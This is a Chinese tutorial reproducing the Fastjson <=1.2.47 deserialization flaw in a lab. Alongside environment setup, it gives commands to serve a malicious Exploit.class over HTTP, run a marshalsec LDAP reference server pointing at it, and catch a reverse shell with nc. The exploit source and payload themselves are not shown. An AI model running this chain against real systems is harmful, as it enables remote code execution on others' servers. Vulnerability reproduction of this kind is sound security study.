Fastjson 的反序列化漏洞复现
1.漏洞概述
Fastjson 提供了 autotype 功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,Fastjson 自定义的反序列化机制时会调用指定类中的 setter 方法及部分 getter 方法,那么当组件开启了 autotype 功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定 setter 或者 getter 方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在 Fastjson 1.2.47 及以下版本中,利用其缓存机制可实现对未开启 autotype 功能的绕过
2.影响版本
Fastjson<=1.2.47
3.环境准备
3.1 主机准备
linux 主机:1 台(靶机)
Kail:1 台(监听)
Windows:1 台(复现实施,burp 抓包)
3.2 相关安装包准备
fastjson1.2.47.tar.gz
JDK1.8,下载地址
maven3.6.3,下载地址
marshalsec 下载地址
java 反序列化利用工具,该工具可以快速开启 RMI 以及 LDAP 服务,但需要使用 maven 编译(下文会讲):https://github.com/mbechler/marshalsec
①网络安全学习路线
②20 份渗透测试电子书
③安全攻防 357 页笔记
④50 份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100 个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年 CTF 夺旗赛题解析
4.环境搭建
4.1 Linux 主机(本文采用 centos7.7)安装 docker
安装所需软件包
yum install -y yum-utils device-mapper-persistent-data lvm2
设置 yum 源
yum-config-manager --add-repo http://download.docker.com/linux/centos/docker-ce.repo
安装 docker
yum -y install docker-ce-18.03.1.ce
4.2 镜像环境部署
拉取镜像环境
docker pull rightctrl/tomcat
映射到服务器 8080 端口
docker run -d --name tomcat -p 8080:8080 rightctrl/tomcat
测试页面访问是否成功,
http://ip:8080
将 fastjson 安装至 tomcat 环境
将下载的 fastjson1.2.47.tar.gz 上传至主机并解压:tar -zxvf fastjson1.2.47.tar.gz
复制到 tomcat 的 webapps 目录下docker cp fastjson tomcat:/opt/tomcat/webapps/
(注意 fastjson 的文件名及 tomcat 路径未必一样)测试页面访问http://ip:8080/fastjson
(url 路径与 fastjson 文件名有关)
4.3 kail 环境安装
安装 JDK
新建目录,将下载的 jdk 的安装包复制过去并进行解压
添加环境变量:
安装(注意 java 版本本文使用 jdk1.8.0_202):
加载 profile:
source /etc/profile
查看 java 版本:
java -version
安装 maven3.6.3
下载 apache-maven-3.6.3-bin.tar.gz 安装包复制到/usr/local 目录下,解压:tar -zxvf apache-maven-3.6.3-bin.tar.gz
创建仓库目录:mkdir /usr/local/apache-maven-3.6.3/repo
备份并修改 maven 配置文件:
添加安装路径,如截图位置添加该路径:
配置阿里仓库源,修改为如下截图:
添加环境变量:
vi /etc/profile
在最后一行添加:
export MAVEN_HOME=/usr/local/apache-maven-3.6.3
export PATH=$PATH:$MAVEN_HOME/bin
重新加载:
source /etc/profile
测试配置是否成功:
mvn -v
下载并编译 marshalsec
通过上面链接下载后上传到 kail 并解压:
unzip marshalsec-master.zip
marshalsec 目录下编译:
编译完成后,到/marshalsec-master/target 目录下会有这个文件 marshalsec-0.0.3-SNAPSHOT-all.jar:
5.漏洞复现
5.1 编译生成 Exploit.class**
将以下代码保存为 Exploit.java
Exploit.java 文件上传到 kail 进行编译,得到 Exploit.class 文件:
javac Exploit.java
5.2 开启监听(kail 上操作)
使用 python 快速起一个 web
记得将 Exploit.class 文件放在 web 的目录下,即在哪个路径起 web 就放在哪里:python2:python -m SimpleHTTPServer 1111
python3:Python -m http.server 1111
开启 ldap 服务
到 kail 的/marshalsec-master/target 目录下执行:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:1111/#Exploit 9999
开启 nc 监听
nc -lvp 1888
发包测试
访问 fastjson 页面 Burp 发包,改为 POST 请求,使用 EXP:
EXP 代码如下:
反弹 shell 成功
6.修复建议
升级至最新版本即可
评论